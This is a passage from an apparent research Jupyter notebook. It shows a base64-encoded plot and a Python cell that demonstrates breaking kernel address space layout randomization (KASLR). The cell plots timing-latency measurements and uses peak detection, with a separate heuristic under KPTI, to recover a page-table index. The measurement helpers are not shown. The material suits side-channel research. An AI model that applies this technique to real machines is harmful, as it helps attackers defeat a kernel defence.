VHbuL2ds/y7cdOaxh33tjEVbmJO3k+OOas+JR2eTluJjX2kl158+oMZ6oZJTIKh8/8mPwsvXfnWA3p0y2FRQzLOLv+CuiwbX6S2UDLsOlPPkws3cdt4g0lP97C2p5M9vr+OO80+gc1Zak7a5budBROBvVw53/98l7Cur5JQBXVi0sRCAl25yqvL6dc3ii8K67Q4Pzl3H5oIS/t9lJ/JFYSl//2Ajl43ozaXDezfr/TbGUx9uYfaKfPa6paI/v7OOT77cx79uHRdu0A8pLDmUnNa77//JhVu4amwfLhjak8LiCqf33cEK8rbvZ1hOp/D60ZLZ0KOzWbp1L1c/9REd01OY9I2B/PrlPI7pksETPxhdJ9F7WaidpzqodXogbtlTwsQnFuMTwe8THv/BKNq3q3ua3FtSyS9nfcrvvzmEvl2zGh3D3NU7+Nu7G/h810FuOvNYfnXBCXXWCbWZe6/kpC3SW69NJ6doxeLje3YA4L+b9hBUZU7eTo7OTucfH25h0jcG0jE9tUn7qgoECarWOUmE1K73L68K8IuXwuPdMuO/W8P3szNSmf95Ad8ZlUO39u3qbKukopo/zV1HeVWQpbVm9Z045hg6uO+hojrAlj0l9OuaydbCUhZvLgyvt2bHAQb17MCVU5dQcLCC04/rxtmDj2rSe4+n+95cy+uffsXxR3Xgu6OP4cmFm5m5dBtdstK4/fy6X+BYrN95kH5ds0hP9dOjQzofrCugKhjkljOPDSenTpnOMevTNZPFmwtr/L+27S3l725vxyFHd2TZ1r0s3LCH9TsP8s1hR4cvWYiHQFApqwrUOSEu2riHe99YU2PZP5d8CcDiTYWMH9SjxnN7iitpl+IjOyOVdTsP8vqqr1iVv5/dByu4YGjP8I8WgH+v/KpGcvrcfe53Fw9hwkm9eHjeekb06czSrXtZusX5vL3rVouu33WQjzYXMm5gt/gcgAas+GIvPbMz6N0po971VJW3P9tJTudMemWnO8nGL6T5fax322E3F5Sw2p149Lge7bl8VA5/fGsdH2059J16e/VOvjMqp872Zy79kvfX7aZ9u5QaE5nG6rEFmyksqeTCk3rxg1P6Rl0nlPALo1z8rKp8tb+cXh3TKa0KsHN/OQN7tI95/6rK3pJKqgKK3yd8ubeEE4/ODg9cEG39wpJKumalEQg2rw0zVtIa2x5Gjx6ty5cvb3C9dTsPcMHfFvLvSV/n5GM6Ac4J+2v/+x77y6ronJlGUJUnrh7FxKlLOLZ7FplpKYjgNPdJ3Wa/Gkcr4th9ubeUiuogR3fKYNeBcjpnppGe6iMQdK7+3r6vjPbtUqgOKlWBIBXVQQ536GfdfCrffXwxfbtmkpHqR9X5taI4V41XBoJs2XP46oeTemeTnuqjsjrIp/n7+d7X+vD8R+6J7M6zuPrJj9haWIpPDl0AeHR2OjmdMw9/MCMPhBuPc4u4H3TabNJSfKhqjbiD6hyvoIJyaMj92sf6810HKa0M0K19O/p0yWBTQQn7y6po3y6FY7pk1ujRpBHbOtz2cLd5xnHdefwHo3hz1Q4mPf8xADNvOIXfvJLHlj0lLL7zLHplZzBj0RbueX0Ng3t1DL/+QHkV+UVl9MpOD18H07tTBtv3lTG4V0fnIm85VEr3i3Cwohq/CCl+H2l+qfErPbTd0Pc7FKkI7gkjyEk5ncIXjwfVudYoze/j0hG961wW0LtTBkd1bOceW+fAbCsqIyPVz4DuWaz4oojSygA5nTPILypjWE42e0sqyS8qY1TfzqzfeZDBvTq4x9NJxgosu+uc8D7mrdnFDc/U/M4N7NGeHfvKyEhLIadzBj5xuhjX+qjUEHm+0RrLD/OaiCeCCnnb95OZ5ueEnh0IqHOpRCCo4QtDU1N8pPiEqkCQVfmxz3j9yW/PpbCkknMePnQxds+O6VQGgvTo0C78Pa52/xaWVISbBzqmp1AVcHqw+dwPoE8k/Fjc4+ILLxe27yvjzgtPqLd2JBhUhv+/dzhQXk3PjukoSiDoHMPK6iAHK6rJTPNTFQhSFVAGdMuiQ0ZqnW2UVFRTUR2kKhB0zj/VQcqrA+HvfkiXrDR6d8qo8R0LBJ0kWFYZoLiimjS/j8pAkO4d2tX4fDSFiKxQ1dGHfb4tJ6fDWbihgFnL86kOBjln8FFcNrw3d72ax1f7yvH7BA2fROuWeKDmeTr0VHqKnxS/EAgqnTLTOFBWFf7CiECPDulUBgKk+n2k+n1s31dG9/btqAoE6ZKVxoZdxfTtlkn39u24/vQB3PfGGjbvKcHvE/wihEY2cb6ITjL5wal9ee6jLykuryaoTmIoqahmf1lV+JqdzDQ/9112EjP+u5Xhx3TigqE9+XTbPqZ8sJGK6iAdM1LplZ1OXj1f5MgEEKpv9vlCXzzBH/ElrKh2qkxD64QThvvlFA5dI6Fu4tJax/rY7lls3F0cPi8Ny8nmi72lVFQFqQ4Gax1/52Soh9leyI9O6x8uXTy75Au6ZaVx4Um92La3lFc+2c5PzhqIiLBtbyn3vbnGred3tqwKJ/bO5pQBXXhx2TZ8Ivz07OOY/N4Gikorw/sDwifGjumpKEpVwPkxogq9stPd967h9xb+624hOyOVyuogG9yLplWdX9B+n3DtuL6M6tuFP7z2GZ2z0hjQPYuyygAfrN8d9TifcXx3+nTJ5PmPvqRjRio/P+c4/nfOWsqrgqT4hGN7tOeCoT156O317rUr7g3hrBN6cN1p/cPHLxBU3lq9g+LyakSctpkLhvZkc0EJ76/bxcHy6vCPhdC2Dn1fan1/DvOjO/J7Fu07Bs6Ps4A73E8oAfh9zgk/qLgn4CDBIAzonsWJR2e7j53EEjpJj+7bxf0hVE3P7AwuH5WDqvLkwi0M7NGeLllpfLm3lFc/2Y7fJ6T4Bb/PSXx+n5DiEwb17MCq/P1ktfOTkep3zhmhH2ThH2WhH2nU+MGWluLjl+cNarCqevu+Ml5ekc+2vaX4fe73zf3udWvfjr0llfh9Qmaan/U7D4Z7HYb4BDLbpZCe4ictRUjxOeeftBQfR3VsR7sUP5XVAaqDypodB8KXIETqlZ1ORqqfzllplFRU07V9O0b26czY/s3r0WrJyRhjjOc0lJyS3wJujDHG1GLJyRhjjOdYcjLGGOM5lpyMMcZ4jiUnY4wxnpOU5CQiuSLyXxFZJCIj3cd3JyMWY4wx3tPiyUlEOgM/BcYDVwOTWzoGY4wx3paMktNYYKGqVqrqFqAD0A5ARFJFZIaI/DAJcRljjPGIZIyt1xUoini8D+iCk6RmAVNVdU7tF4nIjcCN7sNiEVkf4/66AXXnBfCm1hQrWLyJ1JpihdYVb2uKFVpXvI2JNfqggq5kJKe9QKeIx9nusluBN6MlJgBVnQpMbezORGR5fVche0lrihUs3kRqTbFC64q3NcUKrSveeMaajGq9j4DT3Cq8PkAxUAE8AZSKyG+TEJMxxhgPafHkpKpFwN+BBcBM4OcRz/0CyBSRe1s6LmOMMd6RlPmcVPUfwD8iFi2PeO7OOO+u0VWBSdSaYgWLN5FaU6zQuuJtTbFC64o3brG2ylHJjTHGtG02QoQxxhjPseRkjDHGc1p9chKRC0RkvYhsFJFfN7DuKBHJc9edLLWnuPVAjBGveU1EVkc87iIi80Rkg/u3c7JjFZGr3OO5SkTmiki3loy1sfEe5vXtRORF9/UfiUi/ZMUnIveLyDYRKY41RhG5012+XkTO90K8Ec9/R0RUREZHLItbvHE6tn1E5AMR+cT9HE9IRKzxijce226MOB3j7u7n9hMROV1Evisia0Xkg3p3rqEphVvhDfADm4ABQBrwKTCknvWXAqfgzAL9FnCh12J0X/Nt4HlgdcSyB4Ffu/d/DTyQzFhxOtPsBrpFxHdPS8Xa1GMbZRu3Ao+7968EXkzi5/MUoBdQHEuMwBB3m+2A/u6+/MmO132uA/AfYAkwOt7xxvHYTgVuiYhvq9ePbSK+Bwk+xlcCT0Y8nguc1tD+W3vJaSywUVU3q2ol8ALwXTfTDwIQkZkicoOI9AI6quoSdY7QM8BlXorRvd8e+AVwX63tXAo87d5/OkGxNyZWcW9Zbgm0I/BVC8ba2HgRkWvcX8efisizUWKdDZztvp8Wj8/9bO6Isp3DxXgp8IKqVqgzFNhGd5/JjhfgXuABoLzW+4hXvPGKVXE+u+AMCBD5GfbcsRWRo0TkFfcz/KmIjDvMti9tRqxxi1lEhuP8WL1URFaKyO+B04CnROTP9e28tSen3sC2iMf5QHfgx8AMEbkS6Kyq09x182ut29tjMYLzpf4LUFprO0dF/ON3AkclM1ZVrQJuAfJwvtBDgKdaMNZGxSsiJwJ3A2ep6snAz2pvQ1Wrgf04Q2y1aHyxbqdWjNG235zPdFziFZGRwDGq+mYM229qvPE6tvcAV4tIPjAH+EkCYo1nvJOBBe5neCTwWQJijVvMqroS+B1OaX+4qv4B59Kh76vq7fXtvLUnp6hUdR7OSXMKcH2Sw4kqWozur4xjVfWVBl6rOL/4WsRhYk3FSU4jgKOBVUCda9RaOlZ3n9H+/2cBs1R1j7vO3paMKVJr+HxGaky8IuIDHgZua4HQ6mjCsb0KmKGqOcAE4Fn3PbSIJsR7FvCY+9qAqu5PYHhRtdTnt7Unp+3AMRGPc4Dt7odrME7po3PEujm11/VYjKcCo0VkK/AhcLyIzHef2+VWTeL+3Z3kWIcDqOomNwG9BIxrwVgbG2+D2xCRFJyqnUIPxVdfjFG3n+R4OwBDgfnu5/gU4DVxOkXEM954Hdsf4Xx2UdXFQDrO4KVePLaN2nYTt9XgduMUc8Oa22iWzBtOo/xmnAbLUIPdiTi/2qYCp+MUIVPd9Wt3iJjgtRgjXtePmh0i/kzNTgYPJjNWnNLSDqC7+9p7gb+0VKxNiPdE4HOgq/vaLu7fSdTsbPCSB/73tRuUo8bobiuy0X4zzWu0j0u8tZ6bz6EOEXGLN47H9i0g170/GKeKWrx6bHHafX7u3vfj/FCJum0PfX5zgUejfSbq3X+8vojJuuEUxT/H6VVyFzAIWAt0cJ9/GPiDe380sNpd91HcETK8FGPEa/pRMzl1Bd4DNgDv4p5ck3w8b3afWwW8zqETf4vE2oR4r3X//5/iVOWA80t5Fk6D91JgQBLjexCnXj/o/r2noRjdbW4C1hOH3qfxiLfW9uYTcSKKZ7xxOrZDgEXuZ2IlcJ6Xjy1O++2/carVVgKnRtu2xz6/uTQhOdnwRcYYYzyntbc5GWOMaYMsORljjPEcS07GGGM8x5KTMcYYz7HkZIwxxnMsORkTByIScMcOWy0is0Qk011e76jSIpIrIo82cl8zROTy5sRrjNdZcjImPsrUGTtsKFCJcw2YMaaJLDkZE38LgYGNfZFbIposIv8Vkc2h0pE4HnVHg34X6BHxmlEiskBEVojI2yLSS0SyDzdytDGthSUnY+LIHfvuQpwr+JuiF86UAhcDf3KXfQvnyvwhwDW4Yxi6g+8+AlyuqqOAfwD3qzMYaGNHuzbGU1KSHYAxbUSGiKx07y/k0PQhjfWqqgaBNSISmmrkDGCmqgaAr0TkfXf5IJxBVue5U1D5ccY7RFXnich3cUaOPrmJsRiTNJacjImPMlUdHoftVETcb2jSQwE+U9VT6zxRd+To/NrrGONlVq1njPf9B5goIn53CpJvuMvXA91F5FRwqvncSRUB/gdngM7vAdPdKkBjWg0rORmTWJnuLKshD6vqw43cxis4k8ytAb4EFgOoaqXbaWKyiISmTvibiFTjTAI3VlUPish/cGYB/n0z34sxLcZGJTfGGOM5Vq1njDHGcyw5GWOM8RxLTsYYYzzHkpMxxhjPseRkjDHGcyw5GWOM8RxLTsYYYzzn/wONIwgLRMLgegAAAABJRU5ErkJggg==",
      "text/plain": [
       "<Figure size 432x216 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# *** Demonstrate KASLR break ***\n",
    "from scipy import signal\n",
    "\n",
    "\n",
    "def break_kaslr(tk_core, height=8000, threshold=2000):\n",
    "    lats = run_kaslr(CORES)\n",
    "\n",
    "    fig, ax = plt.subplots(figsize=(6, 3))\n",
    "    indexes = np.arange(0, 0x200, 1)\n",
    "    ax.plot(indexes, lats)\n",
    "    ax.set_xlabel('PL Index')\n",
    "    ax.set_ylabel('Avg. Latency (cycle)')\n",
    "    ax.set_xlim(-0x10, 0x210)\n",
    "    ax.set_ylim(0, 28000)\n",
    "\n",
    "    ticks = list(np.arange(0, 0x200, 0x40)) + [0x1ff]\n",
    "    ax.set_xticks(ticks)\n",
    "    ax.set_xticklabels([f'{t:#x}' for t in ax.get_xticks()])\n",
    "\n",
    "    colors = ['darkgreen', 'red', 'orange', 'purple']\n",
    "    markers = ['1', '2', '3', '4']\n",
    "    pls = list(get_pls(tk_core))\n",
    "    for i, p in enumerate(pls):\n",
    "        ax.plot(p, lats[p], label=f'$PL_{i + 1}$ Index', marker=markers[i], color=colors[i],\n",
    "                linestyle='', markersize=12, markeredgewidth=1.5)\n",
    "\n",
    "    pl2 = pls.pop(1)\n",
    "    known = set(pls)  # PL1, PL3, and PL4 indexes are fixed\n",
    "    peaks, _ = signal.find_peaks(lats, height=height, threshold=threshold)\n",
    "    peaks = set(peaks)\n",
    "    peaks = peaks - known\n",
    "    if check_pti():\n",
    "        peaks = sorted(peaks, key=lambda p: lats[p], reverse=True)\n",
    "    else:\n",
    "        # If KPTI is enabled, we have to rely on a different heuristic,\n",
    "        # which might require several retries\n",
    "        # Heuristic: find two peaks whose offsets are off by 8,\n",
    "        # the right peak correpond to PL2.\n",
    "        # It's unclear why it's the case at the moment.\n",
    "        # Also an ML model will do much better than this heuristic.\n",
    "        print('No PTI deployed, switch to a different heuristic...')\n",
    "        print('It might require a few retries.')\n",
    "        diff = 8\n",
    "        candidates = []\n",
    "        for p in peaks:\n",
    "            if (p - diff) in peaks:\n",
    "                candidates.append(p)\n",
    "        peaks = sorted(candidates, key=lambda p: lats[p] + lats[p - diff], reverse=True)\n",
    "\n",
    "    if peaks:\n",
    "        print(f'Recoverd PL2 index: {peaks[0]:#x}')\n",
    "    else:\n",
    "        print('Did not find peaks to recover, please try to tweak height and threshold')\n",
    "\n",
    "    ax.set_yticks(np.arange(0, 28000.001, 5000))\n",
    "    ax.set_yticklabels([f'{t / 1000:.0f}k' for t in ax.get_yticks()], fontsize=9)\n",
    "    ax.text(pl2, lats[pl2] + 1500, f'{pl2:#x}', ha='center')\n",
    "    ax.legend(ncol=1)\n",
    "    fig.tight_layout()\n",
    "    fig.savefig(RES_DIR / f'kaslr-{platform}.pdf', bbox_inches='tight')\n",
    "    return fig\n",
    "\n",
    "\n",
    "rebuild()\n",
    "plt.close('all')\n",
    "fig = break_kaslr(tk_core_addr, height=7000, threshold=500)\n",
    "plt.show(fig)"
   ]
  }
 ],
 "metadata": {
  "interpreter": {
   "hash": "31f2aee4e71d21fbe5cf8b01ff0e069b9275f58929596ceb00d14d90e3e16cd6"
  },
  "kernelspec": {
   "display_name": "Python 3.8.10 64-bit",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.10"
  },
  "orig_nbformat": 4
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
